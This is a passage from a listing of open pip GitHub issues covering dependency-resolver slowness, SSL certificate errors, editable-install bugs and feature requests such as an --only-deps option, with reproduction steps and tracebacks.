INFO: pip is looking at multiple versions of robotframework-seleniumlibrary to determine which version is compatible with other requirements. This could take a while.
Collecting robotframework-seleniumlibrary<6.0.0,>=5.1.0
  Using cached robotframework_seleniumlibrary-5.1.2-py2.py3-none-any.whl (94 kB)
  Using cached robotframework_seleniumlibrary-5.1.1-py2.py3-none-any.whl (94 kB)
  Using cached robotframework_seleniumlibrary-5.1.0-py2.py3-none-any.whl (94 kB)
INFO: pip is looking at multiple versions of rpaframework-dialogs to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework-requests to determine which version is compatible with other requirements. This could take a while.
Collecting robotframework-requests<0.10.0,>=0.9.1
  Using cached robotframework_requests-0.9.2-py3-none-any.whl (20 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
INFO: pip is looking at multiple versions of rpaframework-core to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework-seleniumtestability to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework-seleniumlibrary to determine which version is compatible with other requirements. This could take a while.
  Using cached robotframework_requests-0.9.1-py3-none-any.whl (20 kB)
INFO: pip is looking at multiple versions of robotframework-pythonlibcore to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework to determine which version is compatible with other requirements. This could take a while.
Collecting robotframework!=4.0.1,<6.0.0,>=4.0.0
  Using cached robotframework-5.0-py3-none-any.whl (638 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
  Using cached robotframework-4.1.3-py2.py3-none-any.whl (659 kB)
INFO: pip is looking at multiple versions of robotframework-requests to determine which version is compatible with other requirements. This could take a while.
  Using cached robotframework-4.1.2-py2.py3-none-any.whl (659 kB)
  Using cached robotframework-4.1.1-py2.py3-none-any.whl (658 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
  Using cached robotframework-4.1-py2.py3-none-any.whl (657 kB)
  Using cached robotframework-4.0.3-py2.py3-none-any.whl (655 kB)
  Using cached robotframework-4.0.2-py2.py3-none-any.whl (655 kB)
INFO: pip is looking at multiple versions of robotframework-pythonlibcore to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of robotframework to determine which version is compatible with other requirements. This could take a while.
  Using cached robotframework-4.0-py2.py3-none-any.whl (653 kB)
INFO: pip is looking at multiple versions of pyyaml to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of python-xlib to determine which version is compatible with other requirements. This could take a while.
Collecting python-xlib>=0.17
  Using cached python_xlib-0.30-py2.py3-none-any.whl (178 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io/warnings/backtracking for guidance. If you want to abort this run, press Ctrl + C.
  Using cached python_xlib-0.29-py2.py3-none-any.whl (176 kB)
  Using cached python_xlib-0.28-py2.py3-none-any.whl (176 kB)

....
```
.... and output will continue for next 4+ hours (of course depending on your network speed, machine performance, etc.)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: vjmp
labels: C: dependency resolution: About choosing which dependencies to install
C: error messages: Improving error messages
type: performance: Commands take too long to run
resolution: known limitation: Behaviour is not ideal, but it's a well-known issue that we cannot resolve
issue_11478: state: open
title: Remove the experimental fast-deps feature
body: This feature did not yield significant speed-ups, possibly due to insufficient optimisation of the calls being performed.

Adding a cross reference to https://github.com/pypa/pip/issues/7049#issuecomment-1263852997, which links to other issues that are relevant for making a decision on what to do with this feature.

FWIW, we did reuse nearly all of the code for PEP 658 though, so the effort put toward this feature was certainly not in vain. It might just be that our implementation of `lazy_wheel` could've been optimised further, but given that PEP 658 is on the horizon, I reckon it's OK to trim this functionality since we're going to get the similar semantics with the `dist-info-metadata`.

user: pradyunsg
labels: needs rebase or merge: PR has conflicts with current master
state: needs discussion: This needs some more discussion
C: build logic: Stuff related to metadata generation / wheel generation
issue_11476: state: open
title: When installing build dependencies, the `--cert` command line flag is not used in sub processes
body: ### Description

From a corporate platform, I tried to install `gym` which would need some build dependencies to be installed.
`pip install  --no-cache-dir --index-url="$MY_INDEX" --extra-index-url="$MY_EXTRA_INDEX" --cert="$MY_CERT_PATH" gym`

`gym` is then correctly downloaded, but the build dependencies are failing with a `CERTIFICATE_VERIFY_FAILED`



### Expected behavior

I should not have a `CERTIFICATE_VERIFY_FAILED` error because the `--cert` is explicit in the command-line

### pip version

22.2.2

### Python version

3.8.12

### OS

Rocky Linux 8

### How to Reproduce

1. Setup a package repository with a custom self-signed SSL certificate (or 2 repositories, does
2. Try to install `gym`
`pip install  --no-cache-dir --index-url="$MY_INDEX" --extra-index-url="$MY_EXTRA_INDEX" --cert="$MY_CERT_PATH" gym`


### Output

Here is the output (with some redacted urls):
```
Collecting gym
  Downloading https://XXXXXXXXXXX/pypi/pypi/packages/packages/f1/67/ca925439eec51e1e6b5dab6c7412c367b7d9bc5c6c3fa9c8968146d80b8b/gym-0.26.1.tar.gz (719 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 719.9/719.9 kB 7.1 MB/s eta 0:00:00
  Installing build dependencies: started
  Installing build dependencies: finished with status 'error'
  error: subprocess-exited-with-error
  
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [15 lines of output]
      Looking in indexes: https://XXXXXXXXXXX/pypi/pypi/simple, https://YYYYYYYYY/pypi/simple
      WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1131)'))': .../pypi/pypi/simple/setuptools/
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AtomBaf
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11473: state: open
title: ValueError: check_hostname requires server_hostname
body: ### Description

I am unable to install using "pip install". I tried everything on internet but nothing worked for me.

pip install tensorflow==2.3.1 // this is I want to install

I am using jupyter notebook (python 3.10) with windows 8

### Expected behavior

desired package installed.

### pip version

pip 21.2.4

### Python version

3.10

### OS

windows

### How to Reproduce

pip install tensorflow==2.3.1 ... run this

### Output

ERROR: Exception:
Traceback (most recent call last):
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\cli\base_command.py", line 173, in _main
    status = self.run(options, args)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\cli\req_command.py", line 203, in wrapper
    return func(self, options, args)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\commands\install.py", line 315, in run
    requirement_set = resolver.resolve(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 94, in resolve
    result = self._result = resolver.resolve(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 472, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 341, in resolve
    self._add_to_criteria(self.state.criteria, r, parent=None)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 172, in _add_to_criteria
    if not criterion.candidates:
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\resolvelib\structs.py", line 151, in __bool__
    return bool(self._sequence)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 140, in __bool__
    return any(self)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 128, in <genexpr>
    return (c for c in iterator if id(c) not in self._incompatible_ids)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 29, in _iter_built
    for version, func in infos:
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\resolution\resolvelib\factory.py", line 272, in iter_index_candidate_infos
    result = self._finder.find_best_candidate(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\package_finder.py", line 851, in find_best_candidate
    candidates = self.find_all_candidates(project_name)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\package_finder.py", line 798, in find_all_candidates
    page_candidates = list(page_candidates_it)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\sources.py", line 134, in page_candidates
    yield from self._candidates_from_page(self._link)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\package_finder.py", line 758, in process_project_url
    html_page = self._link_collector.fetch_page(project_url)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\collector.py", line 490, in fetch_page
    return _get_html_page(location, session=self.session)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\collector.py", line 400, in _get_html_page
    resp = _get_html_response(url, session=session)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\index\collector.py", line 115, in _get_html_response
    resp = session.get(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\requests\sessions.py", line 555, in get
    return self.request('GET', url, **kwargs)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_internal\network\session.py", line 454, in request
    return super().request(method, url, *args, **kwargs)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\requests\sessions.py", line 542, in request
    resp = self.send(prep, **send_kwargs)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\requests\sessions.py", line 655, in send
    r = adapter.send(request, **kwargs)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\cachecontrol\adapter.py", line 53, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\requests\adapters.py", line 439, in send
    resp = conn.urlopen(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\connectionpool.py", line 696, in urlopen
    self._prepare_proxy(conn)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\connectionpool.py", line 964, in _prepare_proxy
    conn.connect()
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\connection.py", line 359, in connect
    conn = self._connect_tls_proxy(hostname, conn)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\connection.py", line 500, in _connect_tls_proxy
    return ssl_wrap_socket(
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\util\ssl_.py", line 453, in ssl_wrap_socket
    ssl_sock = _ssl_wrap_socket_impl(sock, context, tls_in_tls)
  File "C:\Users\misbah.awan\Anaconda3\lib\site-packages\pip\_vendor\urllib3\util\ssl_.py", line 495, in _ssl_wrap_socket_impl
    return ssl_context.wrap_socket(sock)
  File "C:\Users\misbah.awan\Anaconda3\lib\ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "C:\Users\misbah.awan\Anaconda3\lib\ssl.py", line 997, in _create
    raise ValueError("check_hostname requires server_hostname")
ValueError: check_hostname requires server_hostname

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MisbahAwan
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11471: state: open
title: Fix typo in test_provider.py
body: transative -> transitive

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: eltociear
issue_11467: state: open
title: editable install makes separate submodules non-importable
body: ### Description

Installing a submodule into a package that has been installed with `-e` results in not importable submodule.

### Expected behavior

Follow the .egg-link and install into that directory.

Alternatively error out if that is deemed not acceptable.

### pip version

22.2.2

### Python version

3.10

### OS

Fedora 36

### How to Reproduce

(I provide an [example.tar.gz](https://github.com/pypa/pip/files/9646679/example.tar.gz) module + submodule for simple/fast testing ; ex1/ provides `example1` and `ex2/` provides `example1/sub1`)

```
pip install -e ex1/
pip install ex2/
python -c "import example1.sub1"
```

`pip install ex1/` works around the issue and works as expected
An alternative fix is to manually link the submodule:
`ln -s ../../ex2/example1/sub1/ ex1/example1/sub1`


### Output

```
$ tar -xf example.tar.gz
$ pip install -e ex1/
Defaulting to user installation because normal site-packages is not writeable
Obtaining file:///home/dave/tmp/test/ex1
  Preparing metadata (setup.py) ... done
Installing collected packages: example1
  Attempting uninstall: example1
    Found existing installation: example1 0.0.0
    Uninstalling example1-0.0.0:
      Successfully uninstalled example1-0.0.0
  Running setup.py develop for example1
Successfully installed example1-0.0.0
$ pip install ex2/
Defaulting to user installation because normal site-packages is not writeable
Processing ./ex2
  Preparing metadata (setup.py) ... done
Using legacy 'setup.py install' for example1.sub1, since package 'wheel' is not installed.
Installing collected packages: example1.sub1
  Attempting uninstall: example1.sub1
    Found existing installation: example1.sub1 0.0.0
    Uninstalling example1.sub1-0.0.0:
      Successfully uninstalled example1.sub1-0.0.0
  Running setup.py install for example1.sub1 ... done
Successfully installed example1.sub1-0.0.0
$ python -c "import example1.sub1"
Traceback (most recent call last):
  File "<string>", line 1, in <module>

ModuleNotFoundError: No module named 'example1.sub1'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dschwoerer
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11463: state: open
title: pip install --upgrade can return zero even when it failed
body: ### Description

`pip install --upgrade` commands which fail to reach the index should return nonzero.

I expect this to be nonzero so that e.g. a CI script will crash out when the `pip install --upgrade` line is not successful. 

### Expected behavior

`pip install --upgrade <something>` should return non-zero when the package could not be upgrade due to errors

### pip version

current

### Python version

3.10

### OS

rhel7

### How to Reproduce

- make sure package XYZ is already installed 
- intentionally break SSL (for example by renaming/moving the _ssl .so file away)
- pip install --upgrade XYZ

### Output

```
[builder@6c720825086a ~]$ python3 -m pip install --upgrade pip
Defaulting to user installation because normal site-packages is not writeable
WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Requirement already satisfied: pip in ./.local/lib/python3.10/site-packages (22.2.1)
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
[builder@6c720825086a ~]$ echo $?
0
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: wimglenn
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11461: state: open
title: Unclear warnings when extras_require causes unsatisfiable dependencies
body: ### What's the problem this feature will solve?

If you have a package with requirements that are unsatisfiable, pip will try to  install an older version if one exists. 

I have a MWE that illustrates the behavior.

```bash
#!/bin/bash
__doc__="
Illustrates a tricky issue with pip first noted here [SO73759521]_ and raised
here [Pip11461]_.

If you have a package with requirements that are unsatisfiable, pip will try to
install an older version if one exists.

Requirements:
    Python 3.11 
    pip install build wheel

References:
    .. [SO73759521] https://stackoverflow.com/questions/73759521/does-installing-a-local-wheel-with-extras-work-on-python-3-11/73766041#73766041
    .. [Pip11461] https://github.com/pypa/pip/issues/11461
"

PACKAGE_NAME='xdoctest'

### Setup the MWE project
echo '
#!/usr/bin/env python
from setuptools import find_packages
from setuptools import setup

NAME = "'$PACKAGE_NAME'"
VERSION = "3.0.0"

if __name__ == "__main__":
    setupkw = {}
    setupkw["install_requires"] = []
    setupkw["extras_require"] = {
        "opt-strict": ["numpy==1.21.6"],
    }
    setupkw["name"] = NAME
    setupkw["version"] = VERSION
    setupkw["author"] = "Jon Crall"
    setupkw["author_email"] = "erotemic@gmail.com"
    setupkw["description"] = "MWE",
    setupkw["long_description"] = "long desc"
    setupkw["long_description_content_type"] = "text/x-rst"
    setupkw["license"] = "Apache 2"
    setupkw["packages"] = find_packages(".")
    setupkw["python_requires"] = ">=3.10"
    setup(**setupkw)
' > setup.py

mkdir -p "$PACKAGE_NAME"
touch $PACKAGE_NAME/__init__.py

# Build the wheel
python -m build --wheel . --outdir wheelhouse


# Try and install it with opt-strict
# In 3.10 it will work, but in 3.11 it will "correctly" fail, but, depending on
# the name of the package, if it package already exists on pypi, it will fall
# back to it, but will be silent about the reason why it did that.
pip uninstall "$PACKAGE_NAME" -y && pip install "$PACKAGE_NAME"[opt-strict] -f wheelhouse 
```

It creates a simple setup.py and demo module structure, builds the wheel for the demo module, and then tries to install it with the extras "opt-strict". 

Note that `PACKAGE_NAME` is parameterized. The behavior will change depending on if the package name exists on pypi or not. If the package does exist on pypi and VERSION is larger than the current latest release. 

If the above PACKAGE_NAME is changed to "xdoctest_doesnotexist" then 
the error when the package does not exist on pypi is descriptive. 

```
adding 'xdoctest/__init__.py'
adding 'xdoctest_doesnotexist/__init__.py'
adding 'xdoctest_doesnotexist-3.0.0.dist-info/METADATA'
adding 'xdoctest_doesnotexist-3.0.0.dist-info/WHEEL'
adding 'xdoctest_doesnotexist-3.0.0.dist-info/top_level.txt'
adding 'xdoctest_doesnotexist-3.0.0.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built xdoctest_doesnotexist-3.0.0-py3-none-any.whl
WARNING: Skipping xdoctest_doesnotexist as it is not installed.
Looking in links: wheelhouse
Processing ./wheelhouse/xdoctest_doesnotexist-3.0.0-py3-none-any.whl
ERROR: Ignored the following versions that require a different python version: 1.21.2 Requires-Python >=3.7,<3.11; 1.21.3 Requires-Python >=3.7,<3.11; 1.21.4 Requires-Python >=3.7,<3.11; 1.21.5 Requires-Python >=3.7,<3.11; 1.21.6 Requires-Python >=3.7,<3.11
ERROR: Could not find a version that satisfies the requirement numpy==1.21.6; extra == "opt-strict" (from xdoctest-doesnotexist[opt-strict]) (from versions: 1.3.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.6.1, 1.6.2, 1.7.0, 1.7.1, 1.7.2, 1.8.0, 1.8.1, 1.8.2, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.10.0.post2, 1.10.1, 1.10.2, 1.10.4, 1.11.0, 1.11.1, 1.11.2, 1.11.3, 1.12.0, 1.12.1, 1.13.0rc1, 1.13.0rc2, 1.13.0, 1.13.1, 1.13.3, 1.14.0rc1, 1.14.0, 1.14.1, 1.14.2, 1.14.3, 1.14.4, 1.14.5, 1.14.6, 1.15.0rc1, 1.15.0rc2, 1.15.0, 1.15.1, 1.15.2, 1.15.3, 1.15.4, 1.16.0rc1, 1.16.0rc2, 1.16.0, 1.16.1, 1.16.2, 1.16.3, 1.16.4, 1.16.5, 1.16.6, 1.17.0rc1, 1.17.0rc2, 1.17.0, 1.17.1, 1.17.2, 1.17.3, 1.17.4, 1.17.5, 1.18.0rc1, 1.18.0, 1.18.1, 1.18.2, 1.18.3, 1.18.4, 1.18.5, 1.19.0rc1, 1.19.0rc2, 1.19.0, 1.19.1, 1.19.2, 1.19.3, 1.19.4, 1.19.5, 1.20.0rc1, 1.20.0rc2, 1.20.0, 1.20.1, 1.20.2, 1.20.3, 1.21.0rc1, 1.21.0rc2, 1.21.0, 1.21.1, 1.22.0rc1, 1.22.0rc2, 1.22.0rc3, 1.22.0, 1.22.1, 1.22.2, 1.22.3, 1.22.4, 1.23.0rc1, 1.23.0rc2, 1.23.0rc3, 1.23.0, 1.23.1, 1.23.2, 1.23.3)
ERROR: No matching distribution found for numpy==1.21.6; extra == "opt-strict"
```

The error is explicit and in red. 


But if the package does exist on pypi, then the output is less clear.

```
+ pip install 'xdoctest[opt-strict]' -f wheelhouse
Looking in links: wheelhouse
Processing ./wheelhouse/xdoctest-3.0.0-py3-none-any.whl
Collecting xdoctest[opt-strict]
  Using cached xdoctest-1.1.0-py3-none-any.whl (135 kB)
WARNING: xdoctest 1.1.0 does not provide the extra 'opt-strict'
Requirement already satisfied: six in /home/joncrall/.pyenv/versions/3.11.0rc2/envs/pyenv3.11.0rc2/lib/python3.11/site-packages (from xdoctest[opt-strict]) (1.13.0)
Installing collected packages: xdoctest
Successfully installed xdoctest-1.1.0
```

Even with `-v` it tells me that is removing my 3.0.0 test package, but it doesn't tell my why it's doing that, and I think that is behavior that could be improved. 


### Describe the solution you'd like

When dependency resolution fails on the latest candidate for _the root package_ that is being installed, it would be nice if it could explain why it did not use the latest and greatest, and instead fell back on an older version of the package you were trying to explicitly install.

The opposition to this might be that dependency resolution get's too messy and its not feasible to output concise information about what caused every failure. That is true, but the important detail that makes this case different is because I only want to output dependency warnings if it's the main package that has its version demoted from a greater version. (When the main package dependency resolution fails for an older version of the package, then I don't see a reason to emit the warnings). 

It already seems to have this information, as the warning in the case where I had a package with no fallbacks illustrates.

### Alternative Solutions

I suppose the alternative is: do nothing... a quality choice. Simply ensuring my requirements were up to date with the latest Python versions would have avoided this. Perhaps its sufficient to have just added a few search terms to google and documented this pain point.

### Additional context

I've been struggling how to phrase this, the title is as concise of a description as I can currently muster.

I've stumbled upon some (what seem to me to be ) unclear output from `pip install`. The issue I originally saw was that a package I was building was not installing on 3.11. I [detailed this issue in a SO post](https://stackoverflow.com/questions/73759521/does-installing-a-local-wheel-with-extras-work-on-python-3-11/73766041#73766041).

It took me about a day to figure out what was actually doing on. But I realized that it was not a problem with pip. Pip was doing exactly the right thing, but I think the messages it reported could be more clear, which is why I'm raising the issue. 


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Erotemic
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11460: state: open
title: Support downloading pyproject.toml build deps with parameter
body: ### What's the problem this feature will solve?

When giving --no-binary :all: currently build dependencies are omitted. So the list of packages for offline install is incomplete.

### Describe the solution you'd like

Please provide a parameter that allows downloading complete build dependencies to a directory.

### Alternative Solutions

I have not tried alternative tools but would be open to suggested solutions. We essentially need this full list for reproducible offline building of wheels from sources.

### Additional context


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: nanonyme
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11457: state: open
title: Deprecate `pip install --editable` calling `setup.py develop`
body: Now that setuptools implements PEP 660, we can think about when we start calling out this code path as deprecated.
user: sbidoul
labels: C: editable: Editable installations
type: deprecation: Related to deprecation / removal.
issue_11447: state: open
title: Implement much lazier lazy_wheel from conda_package_streaming
body: ### What's the problem this feature will solve?

pip's lazy wheel makes far too many requests. There's a lazy_wheel fork that does the same work, without a wasted HEAD request, and guarantees success in 2 or 3 requests total. This makes a huge difference when latency is high.

https://github.com/conda-incubator/conda-package-streaming/blob/main/conda_package_streaming/lazy_wheel.py

### Describe the solution you'd like

Re-integrate https://github.com/conda-incubator/conda-package-streaming/blob/main/conda_package_streaming/lazy_wheel.py into pip.

### Alternative Solutions

No

### Additional context

I wrote an early prototype of lazy_wheel

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dholth
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11445: state: open
title: Implement PEP 685
body: ### What's the problem this feature will solve?

Ensure consistency and avoid name clashing

### Describe the solution you'd like

See https://peps.python.org/pep-0685/

### Alternative Solutions

N/A

### Additional context

- https://github.com/pypa/setuptools/issues/3586
- https://github.com/pypa/flit/issues/535

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ofek
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11441: state: open
title: Warning: when a new package going to update an installed package as it doesn't match its dependency 
body: ### What's the problem this feature will solve?

The scenario is as follows

The project has package X which is freezed to version 1.1 (which is few months old), and as we are working on the project, we decided to try package Y so we did `pip install Y', the problem that package Y dropped support to package X 1.1 and now requires X>1.3, so pip will **uninstall 1.1 and 1.3 without a warning** which will take us few hours to find why the project stopped working after package Y installation.

### Describe the solution you'd like

#### First phase
Give the user a question while running `pip install Y` that Package Y needs version 1.3 of Package X, shall we continue or not? So they can go to the project and find package matching their env and install using a version specification.

#### Second Phase
Pip can find the version that matches the environment and suggesting installing it instead


### Alternative Solutions

N/A

### Additional context

I can give fixing this a try if it is approved.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mkalioby
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11440: state: open
title: Add `--only-deps` (and `--only-build-deps`) option(s)
body: https://github.com/pypa/pip/issues/11440#issuecomment-1445119899 is the currently agreed upon user-facing design for this feature.

---

### What's the problem this feature will solve?

In #8049, we identified an use case for installing just the dependencies from `pyproject.toml`.

As described in the solution section below `--only-deps=<spec>` would determine all dependencies of `<spec>` excluding that package itself and install those without installing the package. It could be used to

1. allow specifying environment variables that are active only while building a package of interest (without having it be active while potentially building its dependencies).
2. separate dependency installation from building and installing a package, allowing to rebuild a package in a docker build while the dependency installation step is loaded from cache.

This example shows both use cases:

```dockerfile
# copy project metadata and install (only) dependencies
COPY pyproject.toml /myproj/
WORKDIR /myproj/
RUN pip install --extra-index-url="$PIP_INDEX" --only-deps=.[floob]

# copy project source files, build in a controlled environment and install our package
COPY src/mypkg/ /myproj/src/mypkg/
RUN env SETUPTOOLS_SCM_PRETEND_VERSION=2.0.2 python3 -m build --no-isolation --wheel
RUN pip install --no-cache-dir --no-dependencies dist/*.whl
```

Instead of the solution from #8049, @pradyunsg prefers a solution similar to the one below: https://github.com/pypa/pip/issues/8049#issuecomment-1079882786

### Describe the solution you'd like

One of those two, or similar:

1. (used in the example above)

   `--only-deps` would work like `-r` in that it’s not a flag globally modifying pip’s behavior but a CLI option with one argument that can be specified multiple times. Unlike `-r` it accepts a dependency spec and not a path to a file containing dependency specs.

   Where `pip install <spec>` first installs all dependencies and then (build and) install the package referred to by the spec itself, `pip install --only-deps=<spec>` would only install the dependencies.

2. `--only-deps` would work like `--[no|only]-binary`, in that it requires an argument specifying what package not to install. A placeholder like `:requested:` could be used, e.g.:

   ```bash
   pip install --only-deps=:requested: .[floob]
   ```

### Alternative Solutions

- Re-using `-r` instead of adding `--only-deps`.

  I don’t think this is a good idea, since people would be tempted to do `-r pyproject.toml` which would be wrong (Dependency specs including file paths look like like `./path/to/pkg[extra1,extra2]`)

- Making `--only-deps` a global switch modifying pip’s behavior like e.g. `--pre`.

  I have found that global switches like that are dangerous and not very intuitive. To install a dev version of your package, doing `pip install --pre mypkg` seems innocuous but will actually install dev versions of `mypkg` and *all* its dependencies that have any dev versions. It’s safer to do something like `pip install mypkg>=0.1.post0.dev0` to limit dev version installations to one package. Similarly it’s unclear what a `--only-deps` switch would apply to. Would `pip install -r reqs.txt --only-deps` install the dependencies of every package specified in the file but none of those packages?

- Using e.g. [beni](https://github.com/Quansight-Labs/beni) to convert PEP 621 dependencies to a requirements.txt.

  This works even today but feels like is shouldn’t be necessary as it involves quite a few steps, including writing a file to disk.

### Additional context

NA

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: flying-sheep
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11436: state: open
title: Only emit a metadata warning once
body: From https://github.com/pypa/pip/issues/11352#issuecomment-1238235954

> BTW, the warning is quite noisy:
>
> ```
> [root@9a62f3789682 /]# mkdir -p /usr/lib64/python3.11/site-packages/mercurial-6.2-py3.11.egg-info
> [root@9a62f3789682 /]# pip list
